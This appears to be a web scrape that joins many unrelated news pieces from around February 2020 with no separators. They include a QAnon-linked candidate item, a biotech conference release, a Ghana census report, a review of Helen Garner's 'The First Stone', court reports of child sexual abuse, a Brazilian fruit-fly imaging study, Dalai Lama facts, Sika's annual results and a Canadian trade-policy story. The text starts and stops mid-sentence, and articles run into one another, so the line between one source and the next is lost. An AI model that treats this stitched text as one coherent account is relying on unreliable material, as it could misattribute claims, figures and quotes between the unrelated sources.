about QAnon. As a candidate himself, Johnson said that anyone facing an arrest warrant would no doubt face complications while running for office. How, for example, could they show up for debates in the face of police pressure? I wouldnt even run if I was on the run from the police, Johnson said. How the Ilhan Omar Marriage Smear Went From Fever Swamp to Trump Read more at The Daily Beast. Get our top stories in your inbox every day. Sign up now! Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more. IPSWICH, Mass., Feb. 21, 2020 /PRNewswire/ -- This year's Advances in Genome Biology and Technology (AGBT) General Meeting will feature scientific presentations by NEB scientists and collaborators on discoveries that address challenges across the spectrum of next generation sequencing (NGS) applications. Of particular note is the growing collection of RNA-seq sample prep reagents, including several advances in RNA depletion options. The NEBNext portfolio of products includes kits for efficient and selective depletion of abundant rRNAs from human, mouse, rat and bacterial samples, as well as the removal of globin mRNAs and rRNAs from blood samples. For other sample types, a web-based design tool for customizable RNA depletion will be described. This year's meeting will be held from February 23 26, in Marco Island, Florida, and NEB's base will be the Osprey 4 suite. Presentations: Monitoring Cell-free Methylation Changes with Enzymatic Conversion to Assess Response to Cancer Treatments Nicole Lambert, Ph.D., Lexent Bio Tuesday's Bronze Sponsor Workshop Enhancing Transcript Detection Across Species: Removing Abundant RNAs from your Sample of Interest Keerthana Krishnan, Ph.D., New England Biolabs, Inc. Tuesday, February 25th, 8:00 8:30 AM, Osprey 4. EM-seq: Bisulfite-free Methylation Analysis Louise Williams, Ph.D., New England Biolabs, Inc. Wednesday, February 26th, 8:00 8:30 AM, Osprey 4. A number of posters will be presented during the conference (see below) and also displayed in Osprey 4. There will be several opportunities to meet with our Development Scientists and learn about NEB's latest technology advances, including: RNA depletion NEBNext RNA depletion products offer specific and efficient depletion of abundant RNAs, from your most challenging samples. Visit our suite to discuss our upcoming custom solution. EM-seq NEBNext Enzymatic Methyl-seq (EM-seq) products provide an enzymatic alternative to bisulfite sequencing, and enables detection of more CpGs with fewer sequence reads. Stop by our posters to learn how it can change methylome analysis with challenging samples, including low input, cfDNA and FFPE. Indexes Stop by for details on UMIs and other upcoming multiplexing options New technologies for long-read sequencing applications View our posters and chat with our scientists about our new developments in this area. Conference posters: A Novel Reverse Transcriptase for Nanopore Direct Sequencing with Significantly Improved RNA 5Coverage Luo Sun, et al. Construction of Single-cell NGS Libraries Using Standard DNA Library Preparation Techniques Lynne Apone, et al. A Customizable Approach for Selective Removal of Abundant RNAs Enhances the Sensitivity of Transcript Detection Across Species Deyra Rodiguez, et al. Low-input Enzymatic Methyl-seq Louise Williams, et al. An evening with NEBNext scientists NEB will also host a "NEBNext Soiree" cocktail event to provide conference attendees an opportunity to engage with NEBNext scientists, as well as a chance to win raffle prizes, on Monday, February 24th at 9:30 pm in the Osprey 4 Suite. Complete information on NEB's activities at the 2020 AGBT conference, can be found here. For more information on the NEBNext portfolio of reagents for sample preparation, visit www.NEBNext.com About New England Biolabs Established in the mid 1970's, New England Biolabs, Inc. (NEB) is the industry leader in the discovery and production of enzymes for molecular biology applications and now offers the largest selection of recombinant and native enzymes for genomic research. NEB continues to expand its product offerings into areas related to PCR, gene expression, sample preparation for next generation sequencing, synthetic biology, glycobiology, epigenetics and RNA analysis. Additionally, NEB is focused on strengthening alliances that enable new technologies to reach key market sectors, including molecular diagnostics development. New England Biolabs is a privately held company, headquartered in Ipswich, MA, and has extensive worldwide distribution through a network of exclusive distributors, agents and seven subsidiaries located in Australia, Canada, China, France, Germany, Japan, Singapore and the UK. For more information about New England Biolabs visit www.neb.com. NEB, NEW ENGLAND BIOLABS, and NEBNEXT are registered trademarks of New England Biolabs, Inc. EM-SEQ and ULTRA are trademarks of New England Biolabs, Inc. AGBT is a trademark of The Genome Partnership. SOURCE New England Biolabs Related Links http://www.neb.com Mr. Ernest Theophilus Quist, Municipal Chief Executive, Kpando, has said bad or negative census data could affect the allocation of resources for development. He therefore implored residents of Kpando to treat the upcoming census exercise as a platform to help distribute resources fairly in the various communities. In a speech read on his behalf at the inauguration of an eight-member Committee of the Municipal Census Implementation Committee for the 2020 Population and Housing Census (PHC) in Kpando, Mr. Quist reminded the Committee members of the need to attach seriousness to the exercise as the success of the programme in the Municipality largely depended on how diligently they executed their work. He also called for collaboration from the Assembly, chiefs and other stakeholders for a successful exercise. Mr. Henry Loglo, Regional Statistician, Oti Region, said the exercise would help identify the disadvantaged population in society for needed assistance to be given. He said this year's exercise was different from previous ones because of technology. Mr. Loglo also added that the digitizing mapping approach being adopted would help avoid enumerators "veering" into each other's territory. Mr. Naba Akolbila Robert Agetwin, Municipal Coordinating Director, Kpando, called for commitment and respect on the part of the Committee members and the people of the Municipality during the exercise. The Committee Members are Naba Akolbila Robert Agetwin as Chairman, Madam Emmanuella Abena Benning, District Census Officer as Secretary, Mr. Richard Asilevi, District Director, National Commission for Civic Education. The rest are Mr. Alexander Affrim, Municipal Programme Officer, Madam Gloria Osei, Information Service Department, Mr. Samuel Vemesah, Ghana Education Service, Dr. Samuel Abudey, District Director, Ghana Health Service and Togbe Agorbortu Robert, Kpando Traditional Council. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Justice James Burke gave jurors a brief instruction, roughly a minute long, asking them to continue trying to reach a verdict on all counts. The panel of seven men and five women must be unanimous to reach a verdict but the language of a note they sent to the judge indicates they are not there on the counts of predatory sexual assault, which are the most severe in the case and carry a sentence of 10 years to life in prison. For two hours, the debate was as furious as it had been two decades earlier. One bloke who went said he was surprised by the continuing depth of feeling about the case and Helen Garners account, and the extraordinarily detailed knowledge of events that so many who went to the seminar brought to the discussion. Lara McKay, the Master of Ormond College, answered questions afterwards. She told me it's unhelpful to believe Ormond is somehow immune from sexual harassment and assault and we encourage everyone in the College community to call out any action or behaviour if they see it. Thats the lasting impact of the complaints of the two women residents. Credit: Do these two books have that same impact? Garners narrative drive still grips, Triolis reporting is meticulous. I guessed the topic of Leigh Sales foreword, the night a creep she barely knew kissed her on the lips as she hosted a black-tie medical research fundraiser. As Sales writes, I wished I had slapped his face; instead I chirped through my introductory remarks. Trioli too reveals the times she played along and the times she stood up. These are two of the most powerful women in Australian media and they too have played along, not years ago but now. Women have always done that, have always, as Trioli writes so powerfully, kept mens secrets. On its release, Generation F felt like a lifeline to the future for women. This was strong long-form journalism Trioli spoke to scores of women, read reports, examined the legal frontiers of the war between men and women. I checked out a few of the women she interviewed one now a judge, others too have soared. But then as now, Generation F did something much more. It made it clear The First Stone had flaws. It sympathised with those who loved Garner and her work and then encapsulated those errors of authorial judgment: combining fact with fiction, conflating desire with sexism, not acknowledging the power of institutions. A friend reminded me that in those days we had hope and optimism, we were Generation F. We were not prudes nor did we need to be reprimanded by older feminists. Triolis book gave us hope but thats gone and she details the work we still have to do. Maybe the final report from Australias Sex Discrimination Commissioner, Kate Jenkins national inquiry into sexual harassment in Australian workplaces, due soon, will have answers. Credit: Which brings us back to the The First Stone, where Garner wonders why these two young women went to the cops and refused to deal with it themselves. Garner and friends were scandalised by the decision of the young women to turn this into a legal matter. I got on the phone to women friends of my age . . . they had all noticed the [news] item and been unsettled by it. Shorter version: why didnt the women handle it themselves? Midway Garner introduces us to a male tutor who defends the master of the college: My accountants a woman. When she heard about the case, that it was an accusation of groping, she said to me, What? You mean thats it? Over my life, Ive witnessed young women groped by men. One night, in a Spanish bar in Sydneys CBD, a man physically harassed my university lecturer. I tipped a plate of scalding churros into his shirt. Another night, a copy kid doing some photocopying waited until she got into the bathroom to burst into tears after a senior bloke came up behind her and pressed his erect penis against her. When he lost his job, finally, he blamed a feminist conspiracy. Spectral feminist conspiracies always appear, when men are being prosecuted for their conduct, men who range from the badly behaved to the criminal. Garner used that trope too in her construction of events at Ormond College. The night of the inaugural Larry Adler lecture titled The Fate of the First Stone in 1995, I went as a fan. But sometime during the speech, Garner revealed the name of one of those feminist conspirators, Jenna Mead. She said: Before I even wrote it, Dr Jenna Mead tried to block my attempts to research the story. Scandalous. Who was this harridan whod attempted to silence the greatest Australian writer of our generation? Garner said Mead had accused her of having invented dialogues and written hypothetical meetings with imaginary characters. How could anyone question Garner, whose gift for truth telling was unparalleled? The next morning, I called Mead at the University of Tasmania. She told me Garner had turned her into six or seven characters in the book which encouraged people to view the events as a feminist conspiracy instead of recognising [her] as one woman trying to help students in the best way she knew. The phone interview lasted five hours. I rang Garner to ask if it was true, had she turned one character into several? Her response: who told you and then, my lawyers made me. If shed said, I have every right to shape the narrative because Im a great writer and I did it on legal advice and been clear from the outset, then The First Stone could have stood as creative non-fiction. But this was Garner the Great and wed believed her. Maybe all great art is a fabrication but not much great art pretends to be fact when its fiction. For me and for other readers, this was Garners great betrayal, the gifted artist who had the capacity to nail the story but didnt. The First Stone emerged as ultimately untrustworthy. Garner had squandered our faith in her. Bexar County Sheriff's Office A former employee at a Converse children's shelter was charged with sexually assaulting a 9-year-old child, according to an arrest affidavit. Pablo Cosme Briones Jr., 40, is accused of sexually assaulting the child while he was a house parent in the all-girls cottage at Boysville a shelter designed to take in children during crises at home the affidavit said. A mother accused of dressing her young daughter in a Playboy costume and holding her hands while she was raped by several men was rushed to hospital on the day she was to be given her verdict. The nine-year-old girl was allegedly sexually abused almost every second day over a year between May 2014 and May 2015 while her father was behind bars. The Gold Coast mother pleaded not-guilty in the Southport District Court to three counts of rape and one count each of maintaining a sexual relationship with a child, indecent treatment of a child and deprivation of liberty. The mother, who cannot be named, was due to receive Judge David Kent's verdict on Thursday afternoon but this has since been delayed until Friday morning. A nine-year-old girl was allegedly sexually assaulted by men over a year while her mother held her hands (file image) Barrister John McInnes told the court a relative said the mother had fallen ill, The Gold Coast Bulletin reported. 'She is at Northcliffe (tram) station being attended to by pushbike ambulance officers and an ambulance has been called,' Mr McInnes said. The court was told the mother was believed to have been suffering from 'mental health issues... manifesting as physical symptoms'. 'She was in a somewhat distressed state (on Wednesday) afternoon and more than that I cannot say,' Mr McInnes said. A woman who matched the description of the mother was seen on CCTV being carried on a stretcher at the tram station before being loaded into an ambulance. The alleged abuse only came to light when the girl wrote a note to her psychologist saying her mum used to 'come in with friends and touch me improperly'. The psychologist reported it to the police. Judge Kent heard evidence over a three-day judge-only trial. On Tuesday, the girl's father told the court she had tried to commit suicide three times after 2016. On Monday the court heard the girl once had woken up in her bed to find she was undressed and there was an unknown man on top of her as her mum allegedly held her hands. She later told authorities her mum would 'undress her and be naughty' and one day awoke to find herself wearing a 'Playboy outfit' with bunny ears, The Courier Mail reported. She claimed each of the men were different during the alleged incidents, and said she had heard her mother asking the men for money. By means of an imaging analysis system made available by FAPESP, a Brazilian research group succeeds at facilitating the selection of sterilized male specimens reared to combat a South American fruit fly known as pest of apple and peach orchards One of the strategies used for biological control of the South American fruit fly Anastrepha fraterculus is sterilization of males by X-ray or gamma-ray irradiation. The aim of the procedure is to bring about a decrease in the wild population of these insects. A. fraterculus is a major crop pest in the South Region of Brazil, mainly affecting apple and peach orchards. Sterilization is considered an affordable alternative to the use of insecticides and toxic bait. Before irradiation, the pupae - the immature form between larvae and adults - are submitted to a quality control process to identify and discard dead and low-quality insects. The problem is that this inspection is performed manually and is based on morpho-physiological analysis, but it is difficult to distinguish empty or dead pupae from healthy pupae with the naked eye. Color differences, for example, are subtle and may go unnoticed. "The problem can impair the efficiency of biological control because low-quality pupae don't develop into sterile flies," said Clissia Barboza da Silva, an agronomist affiliated with the University of Sao Paulo's Center for Nuclear Energy in Agriculture (CENA-USP) in Piracicaba. "The margin of error in manual inspection is about 10%", she added. Barboza da Silva has been working on a way to optimize the process based on a secure and precise method of pupa analysis in the context of mass production. She and her team use VideometerLab, a multispectral imaging instrument developed by a Danish company, to analyze pupae. Multispectral images capture light from an object over a range of wavelengths across the electromagnetic spectrum. The technique accurately identifies alterations in sample quality. Purchased for approximately BRL 400,000 (now approximately USD 92,000) with funding from FAPESP's Multiuser Equipment Program, the VideometerLab is about the size of a single-serve coffee maker. It sits on the laboratory bench and is easy to operate. In this case, the researchers place the pupae in a Petri dish and analyze them in five seconds. Manual analysis takes hours. "Thanks to its multispectral camera, the device provides several kinds of data at the same time - physiological, sanitary and genetic, for example, in addition to data on chemical composition," Barboza da Silva said. The device has 19 LED strobe lights, each of which emits a different wavelength from infrared to ultraviolet. The main analytical technique is reflectance imaging. Reflectance is measured by shining light on a sample and calculating the ratio of reflected to incident light. Images of pupae produced by VideometerLab show different color patterns. The bluer the image, the greater the reflectance and the higher the quality of the sample. According to Barboza da Silva, phenotypical traits such as color and weight are used to detect dead or empty pupae in the conventional inspection procedure. "The problem is that to the naked eye, empty pupae are almost the same color as high-quality pupae", she said. Barboza da Silva is co-author of an article published in the Journal of Applied Entomology, which presents the positive results of the use of multispectral imaging to control the quality of A. fraterculus pupae. In addition to providing a complete analysis of various physical and biochemical properties of the pupae, the device also functions as a computer vision system, a type of artificial intelligence that extracts data from images by simulating human vision. "It generates data and graphics that help monitor pupa quality over time," Barboza da Silva said, adding that since last year, the technology has been used to control the quality of sterile insects sent to supply producers in Vacaria, Rio Grande do Sul, in the far south of Brazil. The Brazilian Agricultural Research Corporation (EMBRAPA) has a temperate fruit experiment station in Vacaria and is partnering with CENA-USP in the Moscasul project, launched in 2013 with the Brazilian Apple Growers Association (ABPM). "A biofactory is being set up in Vacaria, but CENA-USP is producing the sterile fruit flies until an irradiator is acquired to sterilize the pupae," said Thiago de Araujo Mastrangelo, an agronomic engineer and researcher at CENA-USP. The pupae irradiated there are flown to Vacaria in foam boxes chilled to 15 C about three days before the adult flies emerge. At EMBRAPA Vacaria, the pupae are placed in larger boxes with access to water and food (usually sugar or honey). Days later, following adult emergence, the sterile males are released into orchards, where they mate with wild females. If the sterile males vastly outnumber the fertile wild males, the wild fly population quickly dies out. The pilot biofactory at CENA-USP currently produces 150,000-200,000 insects per week. According to Mastrangelo, without sterilization or any other control method, the economic impact of the pest could reach 40% of the income from production. "The fly multiplies in areas of native vegetation and then invades nearby crops, such as orange groves in Sao Paulo [Southeast Brazil] or apple farms in the South." To date, there is no evidence that biological control of A. fraterculus has had adverse ecological or environmental impacts of any kind in the region, Mastrangelo added. "Recent studies conducted in Mexico show that no harm is done to the food chain of which this insect is part. In tropical environments, even if the species were to become locally extinct, others could take over its ecological niche," he said. Barboza da Silva noted that potential applications of the VideometerLab extend well beyond insect pupa quality control. "It's being used worldwide in several fields, including medicine, pharmacology, and new materials. Ours was acquired as multiuser equipment, so we want other researchers in Brazil to start using it too," she said. Barboza da Silva took a training course in Denmark in 2018 to learn how to operate the device now installed at CENA-USP. This is the only unit currently available in Brazil. She and her team also use it to analyze tomato, carrot, physic nut (Jatropha curcas) and peanut seeds in search of optical imaging patterns that characterize alterations in quality. The study is supported by FAPESP (Sao Paulo Research Foundation ). "Conventional tests of seed quality are destructive. Moreover, as with pupae, the results are subjective because they depend on the analyst's training. They are also time-consuming and require a support structure. With the VideometerLab, which uses artificial intelligence, one can analyze the quality of a seed sample noninvasively, objectively and precisely, producing a detailed diagnosis of its physical, physiological, genetic and sanitary characteristics and saving time and money. That's a very significant advance," Barboza da Silva said. ### About Sao Paulo Research Foundation (FAPESP) The Sao Paulo Research Foundation (FAPESP) is a public institution with the mission of supporting scientific research in all fields of knowledge by awarding scholarships, fellowships and grants to investigators linked with higher education and research institutions in the State of Sao Paulo, Brazil. FAPESP is aware that the very best research can only be done by working with the best researchers internationally. Therefore, it has established partnerships with funding agencies, higher education, private companies, and research organizations in other countries known for the quality of their research and has been encouraging scientists funded by its grants to further develop their international collaboration. You can learn more about FAPESP at http://www.fapesp.br/en and visit FAPESP news agency at http://www.agencia.fapesp.br/en to keep updated with the latest scientific breakthroughs FAPESP helps achieve through its many programs, awards and research centers. You may also subscribe to FAPESP news agency at http://agencia.fapesp.br/subscribe. By Alasdair Pal NEW DELHI (Reuters) - Tibetans mark the 80th anniversary of the enthronement of their spiritual leader, the Dalai Lama, on Saturday. Ahead of the celebrations, here are ten facts about Tibet's spiritual leader: 1 By Alasdair Pal NEW DELHI (Reuters) - Tibetans mark the 80th anniversary of the enthronement of their spiritual leader, the Dalai Lama, on Saturday. Ahead of the celebrations, here are ten facts about Tibet's spiritual leader: 1. Born in 1935 as Lhamo Thondup, the current Dalai Lama was proclaimed as the reincarnation of his predecessor at the age of two, when he is said to have identified several of his possessions. 2. After a three-month journey from his home village he was enthroned on Feb. 22, 1940, at a ceremony in Lhasa, capital of the autonomous Tibet region that is now part of China. 3. China invaded Tibet in 1950. The teenage Dalai Lama assumed a political role shortly after, travelling to Beijing to meet Mao Zedong and other Chinese leaders. 4. After a failed Tibetan uprising against Chinese rule, the Dalai Lama fled to India in early 1959. He went into exile in the northern hill town of Dharamshala, where he still lives. 5. Since his flight from Tibet, China has accused the leader of being a dangerous separatist, and said any attempt to meet him is a "major offence". In 2012, Beijing cancelled a planned visit by then-British Prime Minister David Cameron after he hosted the Dalai Lama in London. 6. The Dalai Lama wakes at 3am and meditates for several hours, according to a sample of his diary on his official website. After a breakfast of porridge and tsampa, a traditional barley flour, he spends the morning reading Buddhist texts, before holding audiences in the afternoon. He retires by 7pm. 7. His interests include cosmology, neurobiology, quantum physics and psychology, he told Reuters in an interview last year. 8. He has been granted dozens of honorary doctorates and awards for his leadership of the Tibetan community, including the Nobel Peace Prize in 1989. 9. The fourteenth Dalai Lama has said the decision whether to retain the role after his death will be made by the Tibetan people, not the Chinese government, which claims the right to choose his successor. "If the majority of (Tibetan people) really want to keep this institution, then this institution will remain," he told Reuters. 10. Despite his veneration by Tibetans - and mistrust from China - the Dalai Lama says he spends most of his time on spiritual activities, not political affairs. "I always consider myself as a simple Buddhist monk," he said on his official website. "I feel that is the real me." (Compiled by by Alasdair Pal; Editing by Sanjeev Miglani and Giles Elgood) This story has not been edited by Firstpost staff and is generated by auto-feed. PR-Inside.com: 2020-02-21 05:02:11 RECORD RESULTS FOR SALES, PROFIT, AND CASH FLOW Sales reach CHF 8,109 million (+14.4% in CHF, +16.3% in local currencies) EBITDA increased to CHF 1,388 million (+20.7%) Operating profit (EBIT) increased to CHF 1,055 million (+11.5%) Net profit recorded at CHF 759 million (+10.4%) Operating free cash flow doubled amounting to CHF 1,026 million Growth in all regions 7 factories opened, 5 companies acquired Dividend increase of 12.2% proposed Outlook 2020: Due to the higher acquisition impact, Sika is expecting a sales increase of more than 10% in local currencies, as well as an over-proportional increase in profitability Consistent implementation of Strategy 2023 for sustainable, profitable growth Sika once again delivered record results in 2019. Sales in Swiss francs rose by 14.4% year-on-year to CHF 8,109 million, which equates to an increase of 16.3% in local currencies. Operating profit increased by 11.5% to CHF 1,055 million, thereby surpassing the billion-franc threshold for the first time. Net profit was recorded at CHF 759 million, representing a year-on-year growth of 10.4%. Operating free cash flow doubled versus the previous year, amounting to CHF 1,026 million. Paul Schuler, CEO: "With strong growth of 16.3% and sales reaching CHF 8.11 billion, we surpassed our CHF 8 billion sales target for fiscal 2019. In a challenging market environment, we achieved record results in operating profit, profit, and cash flow, and we are convinced that we will be able to sustain our positive growth momentum over the coming years. With our new Strategy 2023, we are moving the performance of our organization to the next level. The business potential opening up for Sika places us in an outstanding position for sustainable and profitable growth. I would like to thank our worldwide workforce of over 25,000 people for their tremendous dedication and for the unique way they identify with our organization." Sika can look back on a highly successful 2019. It was a year in which numerous projects were realized to set the course for an even stronger performance, in particular the acquisition of Parex, the largest in Sikas history. With sales of CHF 1.2 billion on an annualized basis and more than 4,500 employees, this takeover makes a significant contribution in bringing Sika to the next level of growth. The new 2023 growth strategy was launched and publicly unveiled in October 2019. The strategic targets include annual growth in local currencies of 68% and an increased EBIT margin target of 1518%, which is to be achieved from 2021 onward. In addition to these ambitious financial targets, the most important elements of the companys new strategic direction include the introduction of an eighth Target Market, Building Finishing, a focus on operational efficiency, and the targeted orientation of the Group toward sustainability. SIKA WINS SWISS TECHNOLOGY AWARD FOR INNOVATION In 2019, Sika launched around 100 important new products and confirmed its innovation leadership. For example, new, sustainable solutions with improved performance have been developed in the areas of low-emission epoxy resin floor coatings and hemp-based, cement-free mortars. Sika has also been making progress with new concepts for future building, such as modular construction and 3-D concrete printing. At the end of 2019, Sika won the Swiss Technology Award in the Innovation Leaders category for a ground-breaking new adhesive technology. SikaForce Powerflex, which combines the properties of elastic and high-strength structural adhesives in a single product, enables manufacturers of cars, rail vehicles, buses, and trucks to implement new, lighter, more ecological vehicle concepts while maintaining body stiffness, good elasticity and thus ideal mechanical properties. GROWTH IN ALL REGIONS In a challenging market environment, Sika has grown more strongly than the market in all regions. The EMEA region (Europe, Middle East, Africa) reported a sales increase in local currency of 11.6% in 2019, amounting to CHF 3,432 million. A strong development was seen with double-digit growth rates in Africa and high single-digit growth in Eastern Europe. In Belarus, Sika acquired Belineco, a specialist manufacturer of polyurethane foam systems. In Romania, the company agreed to acquire Adeplast, a leading manufacturer of mortar products and thermal insulation solutions. This deal is expected to close in the first quarter of 2020. Production capacity was expanded in Egypt, Qatar, Serbia, Senegal, Cameroon, and Ethiopia, with new factories opened for concrete admixtures and mortars. The Americas region continued to focus its business activities on the largest metropolitan areas and generated impressive sales growth in local currency of 19.2% in 2019, amounting to CHF 2,162 million. Growth momentum was particularly pronounced in North America. In Latin America, political tensions in countries such as Mexico, Chile, and Ecuador, are leaving their mark on local construction industries. Brazil, Colombia, and Peru all posted strong growth rates. In Canada, the acquisition of King Packaged Materials in the reporting period brought a market leader in concrete repair systems into the Group. Growth in the Asia/Pacific region in local currency reached 35.1%, amounting to CHF 1,585 million. This figure includes a significant acquisition effect of 30.3%, in particular deriving from the Parex acquisition. The highest organic growth rates were recorded in China, India, and the Philippines. In China, Sika acquired Crevo-Hengxin, a manufacturer of silicon-based sealants and adhesives. The newly acquired range of products opens up cross-selling opportunities in the extended distribution channels. Furthermore, a new factory in the Bekasi district on the outskirts of Jakarta commenced operations in Indonesia in the reporting period. Sika now produces concrete admixtures and mortar products for the local construction market in three factories. The Global Business segment recorded a growth rate in local currency of 3.0% with sales amounting to CHF 930 million. Sika gained further market share in the Automotive area in 2019, despite the sharp decline in global production figures in this sector. The megatrends in modern automotive construction, which are dominated by electro-mobility and lightweight construction, are opening up new avenues with significant long-term growth potential for Sika, thanks to multi-material designs and new adhesive technologies, as well as heat management in modern battery technologies for electric vehicles. RECORD PROFIT With sales of CHF 8,109.2 million in 2019, Sika was able to surpass the sales mark of CHF 8 billion for the first time. This equates to growth of 14.4% in Swiss francs and 16.3% in local currencies. Organic growth reached 3.3% (previous year: 6.8%). The material margin recorded a year-on-year increase from 53.0% to 53.6%. Operating profit (EBIT) improved by 11.5% to CHF 1,055.1 million (previous year: CHF 945.9 million). The operating result includes one-time costs incurred in connection with the takeover of Parex. Excluding one-off and acquisition effects in 2019, EBIT would have recorded an over-proportional increase. The tax rate was brought down further and amounted to 21.5% in the year under review (previous year: 23.0%), which meant that net profit also set a new record of CHF 758.5 million, equivalent to a rise of 10.4%. KEY BALANCE SHEET FIGURES The ratio of net working capital to net sales improved substantially in 2019 reaching 18.1% (previous year: 19.6%). This reduction was achieved through optimized inventory management and a modified sales mix due to acquired companies. At the end of 2019, cash and cash equivalents amounted to CHF 995.1 million (previous year: CHF 914.0 million). Yet another record was set by operating free cash flow, which doubled amounting to CHF 1,026.1 million (previous year: CHF 513.2 million). In order to finance the acquisition of Parex, net debt was increased to CHF 3,407.7 million (previous year: CHF 2,114.1 million), while gearing was reduced thanks to the higher equity ratio and now stands at 107.8% (previous year: 126.2%). At the end of 2019, the equity ratio stood at 31.8% (previous year: 26.2%). Return on capital employed (ROCE) reached 19.2% (previous year: 26.2%). HIGHER DIVIDEND TO BE PROPOSED In keeping with the double-digit increase in net profit and the strong development of operating free cash flow, the Board of Directors will be proposing a 12.2% increase in the gross dividend to CHF 2.30 at the Annual General Meeting of April 21, 2020. OUTLOOK Strategy 2023, which was unveiled in October, is designed to expand the companys growth model and align the organization for continued longterm success and profitable growth. By targeting six strategic pillars market penetration, innovation, operational efficiency, acquisitions, strong corporate values, and sustainability Sika is seeking to grow by 68% a year in local currencies by 2023. It is aiming for a higher EBIT margin of 1518% from 2021 onward. Projects in the areas of operations, logistics, procurement and product formulation should result in an annual improvement in operating costs equivalent to 0.5% of sales. The prerequisites for further dynamic growth have been put in place with the launch of the new 2023 growth strategy and investments in seven new factories and five acquisitions. Thanks to these twelve key investments, pronounced innovative strength, and a clear sales focus, Sika is in an outstanding position for the future. For the 2020 financial year, due to the higher acquisition impact, Sika is expecting a sales increase of more than 10% in local currencies, as well as an over-proportional increase in profitability. The unknown impact of the coronavirus on the development of the end markets is an element of uncertainty. KEY FIGURES 2019 in CHF mn as % of net sales 2018 as % of net sales 2019 in % Net sales 7,085.4 8,109.2 +14.4 Gross result 53.0 3,751.7 53.6 4,344.0 +15.8 Operating profit before depreciation (EBITDA) 16.3 1,149.9 17.1 1,387.6 +20.7 Operating profit (EBIT) 13.4 945.9 13.0 1,055.1 +11.5 Net profit 9.7 687.1 9.4 758.5 +10.4 Net profit per share (EPS) in CHF 4.69 5.30 +13.0 Operating free cash flow 7.2 513.2 12.7 1,026.1 +99.9 Balance sheet total 6,382.0 9,945.2 +55.8 Shareholders' equity 1,675.2 3,161.2 Equity ratio in % 26.3 31.8 New working capital 19.6 1,389.6 18.1 1,471.2 ROCE in % 26.2 19.2 Number of employees 20,060 25,141 +25.3 The Annual Report and the presentation given at the media conference/analyst presentation on the 2019 financial year can be downloaded from www.sika.com. Link to Annual Report: https://www.sika.com/en/investors/reports-publications/financial-reports.html Link to live transmission of the media conference/analyst presentation of February 21, 2020, 10.00 a.m.: www.sika.com/live FINANCIAL CALENDAR Net sales first quarter 2020 Tuesday, April 21, 2020 52nd Annual General Meeting Tuesday, April 21, 2020 Half-Year Report 2020 Thursday, July 23, 2020 Results first nine months 2020 Thursday, October 22, 2020 Net sales 2020 Tuesday, January 12, 2021 Media conference/analyst presentation Friday, February 19, 2021 on 2020 full-year results CONTACT Dominik Slappnig Corporate Communications & Investor Relations +41 58 436 68 21 slappnig.dominik@ch.sika.com SIKA CORPORATE PROFILE Sika is a specialty chemicals company with a leading position in the development and production of systems and products for bonding, sealing, damping, reinforcing, and protecting in the building sector and motor vehicle industry. Sika has subsidiaries in 100 countries around the world and manufactures in over 300 factories. Sika employs more than 25,000 people and generated sales of CHF 8.1 billion in fiscal 2019. At the end of 2019 Sika won the Swiss Technology Award for a ground-breaking new adhesive technology. The media release can be downloaded from the following link: Media Release Sika_Annual Report_2019_E OTTAWA - Deputy Prime Minister Chrystia Freeland says she wants to make Canada's trade negotiations more "transparent," by agreeing to proposals from the New Democrats to provide more details of future deals. Hey there, time traveller! This article was published 20/2/2020 (691 days ago), so information in it may no longer be current. Deputy Prime Minister and Minister of Intergovernmental Affairs Chrystia Freeland waits to appear before the House of Commons Standing Committee on International Trade Tuesday February 18, 2020 in Ottawa. Freeland says she wants to make Canada's trade negotiations more "transparent," by agreeing to proposals from the New Democrats to provide more details of future deals. THE CANADIAN PRESS/Adrian Wyld OTTAWA - Deputy Prime Minister Chrystia Freeland says she wants to make Canada's trade negotiations more "transparent," by agreeing to proposals from the New Democrats to provide more details of future deals. Freeland offers that view in a Wednesday letter to the New Democrats, a promise that secured the party's support for a speedier ratification of the new North American trade deal, which is still before Parliament. In the letter, a copy of which was obtained by The Canadian Press, Freeland makes clear she is agreeing to the NDP proposals to get support for ratifying the new continental trade agreement among Canada, the United States and Mexico. Freeland maintains that the 13 months of acrimonious negotiation among the three countries was open and transparent because the government consulted widely with stakeholders. NDP trade critic Daniel Blaikie disagrees, saying the actual negotiations were held in secret, and the government provided inadequate analysis of the economic consequences of the deal to Canadians. Freeland says the government will provide the House of Commons with an economic-impact assessment at the same time the legislation to ratify a trade deal is tabled. She said that report will include "estimates of overall economic impact of a free trade agreement on the Canadian economy, including changes in gross domestic product (GDP), trade flows, unemployment, and income as well as sector-specific estimates for the sectors directly addressed in the free trade agreement." The government also agrees to inform the House of "intent to enter into negotiations" on new deals 90 days before they begin and "to require objectives for negotiations" for new deals to be tabled 30 days in advance, the letter says. Freeland's letter says she is making the changes "in light of the NDP proposal and to add further transparency to the free-trade negotiations process." It says she was responding to written proposals from NDP sent on Dec. 16. "In exchange for these changes," Freeland concludes, "I understand we can count of the support of the NDP" to 'expeditiously' ratify the new trade deal something the U.S. and Mexico have already done. As the letter states, and Blaikie acknowledges, reopening the deal to further negotiations was a non-starter. "We've always felt that the trade negotiation process has been far too secretive, and Canadians will benefit from a more open and transparent process," Blaikie said in an interview. "The way to do that is to make sure that the government has to be more clear about its intentions both in terms of letting Parliament know who it is negotiating with and also laying out its objectives so that at the end you can measure whether the government succeeded." Blaikie dismissed a suggestion that his party's manoeuvring represented a break from its past policy of being skeptical and unsupportive of free trade. "This agreement is still part of a model of globalized trade driven by corporations that we are critical of," he said. "We knew we couldn't change the deal. You can't open it up again. So, we wanted to focus on something we could change, which is what this looks like for future trade deals like Canada-U.K., Canada-China and Canada-India," Blaikie added. "I look forward to having a better process when the next government comes along that's looking to sign Canada up for some kind of trade deal." Earlier this week, Freeland offered effusive public thanks to New Democrats for supporting the new deal and stinging criticism of the Conservatives for wanting to study it further at a Commons committee. In the House of Commons Thursday she said Blaikie was a pleasure to work with on the changes. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Freeland said the government wanted to limit study of the new deal, and was surprised that Conservatives wanted to extend committees' study of the agreement into March. But the Conservative trade critic Randy Hoback told The Canadian Press that there was no circumstance under which his party would vote against ratifying the trade deal. He said the Tories simply wanted to hear from witnesses to give voice to people who are concerned about the deal, to make it stronger in the long term. "That's what created the problem in the previous NAFTA is when people were left out. They were the ones that elected 